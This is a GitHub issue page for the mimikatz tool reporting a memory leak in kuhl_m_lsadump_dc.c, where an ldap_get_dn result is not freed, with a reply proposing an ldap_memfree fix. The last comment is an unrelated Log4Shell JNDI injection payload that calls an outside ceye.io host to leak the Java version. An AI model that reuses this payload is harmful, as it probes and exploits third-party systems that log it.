search

gentilkiwi / mimikatz

A little tool to play with Windows security
http://blog.gentilkiwi.com/mimikatz
19.49k stars 3.74k forks source link

Potential memory leak -03. #406

Open rachyyyy opened 2 years ago

rachyyyy commented 2 years ago

Potential memory leak in kuhl_m_lsadump_dc.c line 1579. The return value of ldap_get_dn is which is szNTDSADn is not freed will cause a memory leak. Doc says "The ldap_get_dn() routine takes an entry as returned by ldap_first_entry(3) or ldap_next_entry(3) and returns a copy of the entry's DN. Space for the DN will be obtained dynamically and should be freed by the caller using ldap_memfree(3). Notes：These routines dynamically allocate memory that the caller must free."

1662196572498

joshterrill commented 2 years ago

I think this can be addressed just by adding ldap_memfree right after it gets used by szServerDN? I see this pattern showing up in several other places in the code base. I just forked the repo and will do some tests before submitting a PR.

Lucifer1993 commented 2 years ago

${jndi:ldap://${java:version}.dx3hbm.ceye.io}